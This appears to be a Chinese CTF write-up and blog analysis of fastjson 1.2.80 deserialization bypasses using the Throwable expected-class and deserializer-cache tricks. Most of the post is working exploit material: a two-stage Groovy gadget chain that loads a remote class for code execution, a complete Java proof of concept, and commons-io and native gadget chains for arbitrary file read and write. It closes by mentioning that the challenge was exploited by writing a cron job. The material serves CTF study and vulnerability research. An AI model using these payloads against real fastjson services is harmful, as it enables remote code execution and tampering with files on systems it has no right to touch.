从FastJ学习fastjson1.2.80反序列化

fastjson 1.2.80 反序列化

在 fastjson1.2.68 后期望类黑名单中新添了 AutoCloseable,Runnable,Readable 这三个类,导致以前的 1.2.68 的链子无法使用了,不过这种黑名单的修复方法可以通过找个新的期望类进行绕过,这个期望类就是 Throwable,当然光靠这个期望类还是无法利用的,还需要配上新的缓存机制——fastjson反序列化符合条件的期望类时,会将setter参数、public字段、构造函数参数类型加到缓存中。

缓存 ProcesssingUnit

先看这段 payload

{  
    "@type":"java.lang.Exception",  
    "@type":"org.codehaus.groovy.control.CompilationFailedException",  
    "unit":{}  
}

写个测试类

public static void main(String[] args) {  
    String payload1 = "{\n" +  
            "    \"@type\":\"java.lang.Exception\",\n" +  
            "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +  
            "    \"unit\":{}\n" +  
            "}";
    JSONObject.parse(payload1);  
}

从 JSONObject.parse 进入,然后一直跟到 checkAutoType() 方法中,

进入到该方法,看到直接从 Mapping 中取出我们的 Exception 类。这是因为在 TypeUtils 类初始化的时候会向 Mapping 中添加缓存类,其中就包括了 Exception,

然后回到 DefaultJSONParser 类继续执行,根据拿到的类 java.lang.Exception 获取反序列化器

因为 java.lang.Exception 是继承 Throwable 类的,所以最后会获得 ThrowableDeserializer 类型的反序列化器;

然后调用 ThrowableDeserializer.deserialze 方法,

在这里面会获取到第二个 @type 字段中的类名,带入checkAutoType(),并且把 Throwable.class 作为期望类。

跟进 checkAutoType() 方法,先设置 expectClassFlag 为 true,

然后是黑名单的判断,看到虽然 autotype 为 false ,但是因为 expectClassFlag 为 true 所以还是会进入到判断,

最后会加载类 org.codehaus.groovy.control.CompilationFailedException,然后将其放入Mapping中

加载后继续利用 ThrowableDeserializer#deserialze 获取字段,根据key实例化出 FieldDeserializer 进一步处理。

调用 TypeUtils.cast 进行类型转换,这里会进入 Map 这个分支,

跟进到 castToJavaBean 中,根据构造方法参数类型 clazz 获取反序列化器,clazz 为 ProcessingUnit,

然后在 getDeserializer 方法中看到会把这个类和 deserializer 添加进 com.alibaba.fastjson.util.IdentityHashMap#buckets 中,

看到如果把 ProcesssingUnit 添加到了缓存中,后续恢复 ProcesssingUnit 类的时候就可以直接从 this.deserializers.findClass(typeName) 就可以获得了(虽然我们这里要用的是 ProcesssingUnit 的子类),

groovy 利用链

接着是进行利用的 payload

{  
    "@type":"org.codehaus.groovy.control.ProcessingUnit",  
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",  
    "config":{  
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",  
     "classpathList":"http://127.0.0.1:8080/"  
    }
}

同样识别到 @type 标识符进入 checkAutoType 方法判断,上面提到在调用 getDeserializer 方法的时候会将 ProcesssingUnit 对应的反序列化器加入到 deserializers 中

这里会根据 typename 去 deserializers 中寻找,直接获得了 clazz

然后返回出去获得反序列化器,是 JavaBeanDeserializer

接着调用JavaBeanDeserializer.deserialze 方法,继续跟进 deserialze 方法,设置 typeName 为 org.codehaus.groovy.tools.javac.JavaStubCompilationUnit

设置期望类为 class org.codehaus.groovy.control.ProcessingUnit,然后进入 checkAutoType

这里会像上面第一个 payload 一样,在 checkAutoType 中调用 TypeUtils.loadClass 加载类然后调用 TypeUtils.addMapping 将 JavaStubCompilationUnit 加入 mapping。

恢复了 JavaStubCompilationUnit 后续就是正常的 fastjson 反序列化了,先会调用到 setClasspathList 设置路径

然后是构造函数最后触发 sink 点进行恶意类利用。

完整 poc

public static void main(String[] args) {  
    String payload1 = "{\n" +  
            "    \"@type\":\"java.lang.Exception\",\n" +  
            "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +  
            "    \"unit\":{}\n" +  
            "}";  
    String payload2 = "{\n" +  
            "    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +  
            "    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +  
            "    \"config\":{\n" +  
            "        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +  
            "        \"classpathList\":\"http://127.0.0.1:8080/\"\n" +  
            "    }\n" +  
            "}";  
    try{  
        JSONObject.parse(payload1);  
    }catch (Exception e){  
        JSONObject.parse(payload2);  
    }  

}

最后成功弹出计算机

FastJ

参考: 2025第三届京麒CTF挑战赛 writeup by Mini-Venom

这道题需要先参考另一条利用链:https://xz.aliyun.com/news/16145,这条链是缓存的 InputStream 类,然后进行了读写文件操作,原理其实和上面是一样的,这里看看其缓存的 poc

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

第一段先把 InputCoercionException 的构造函数参数类型进行缓存,也就是 JsonParser 类。接着把 JsonParser 类当作期望类缓存了 UTF8StreamJsonParser 的构造函数参数类型也就是我们的目标类的父类 InputStream ,后续就是正常的读文件和写文件利用了。

读文件

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

写文件

{
"a": {
  "@type": "java.io.InputStream",
  "@type": "org.apache.commons.io.input.AutoCloseInputStream",
  "in": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
      "@type": "org.apache.commons.io.input.CharSequenceInputStream",
      "cs": {
        "@type": "java.lang.String"
        "${shellcode}",
        "charset": "iso-8859-1",
        "bufferSize": ${size}
      },
      "branch": {
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.LockableFileWriter",
          "file": "${file2write}",
          "charset": "iso-8859-1",
          "append": true
        },
        "charset": "iso-8859-1",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "closeBranch": true
    }
  },
  "b": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  },
  "c": {}
}

但是这道题只引入了 fastjson 1.2.80 的依赖,没有 common-io 依赖,所以利用上面的 poc 肯定是不行了

而想到原生的文件操作利用链,可以参考一下这篇文章:https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/。

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },

        "bufLen": "100"
    },
    "protocolVersion": 1
}

这里利用的 MarshalOutputStream 类其实也是继承于 OutputStream 的,所以我也可以通过缓存 OutputStream ,然后把其作为期望类进行利用。fastjosn1.2.80 中过滤了 FileOutputStream 类,这个类在 gadget 中起到设置路径的作用,题目给了其子类进行绕过

所以利用 poc 如下,写入的数据需要利用 openssl zlib 方式的压缩

{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "com.app.FilterFileOutputStream",
      "name": "E:/tmp/2.txt",
      "prefix": "/"
    },
    "infl": {
      "input": {
        "array": "eJxLLE5JTCkGAAh5AnE=",
        "limit": 14
      }
    },
    "bufLen": "100"
  },
"protocolVersion": 1
}

缓存的链子可以直接根据 InputStream 链子找,我们找和 UTF8StreamJsonParser 功能相反的类

里看到 UTF8JsonGenerator 的参数类型就是 OutputStream

接着同样的道理,其继承于 JsonGenerator 类,现在需要找继承了 Exception 然后参数类型是 JsonGenerator 的类,这个全局搜一下就能找到

直接照着缓存 InputStream 类的 gadget 进行构造就行了,得到 OutputStream 的缓存链,

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\",    \"g\": {}  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",  \"out\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

传入缓存 poc,接着传入上面的利用 poc,看到通过 deserializers 缓存获得了 java.io.OutputStream 类

接着 OutputStream 作为期望类,把后面的危险类全部加入了 Mapping 缓存从而在 autoType 为 false 的情况下完成了反序列化利用。

最后成功写入文件

然后看师傅文章说题目是通过写定时任务进行的利用。

参考

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

https://www.freebuf.com/vuls/354868.html

https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记

https://blog.s8ark.top/2024/01/30/沉浸式体验%20fastjson1.2.80的Groovy利用链/#3-调试并分析漏洞利用过程-payload2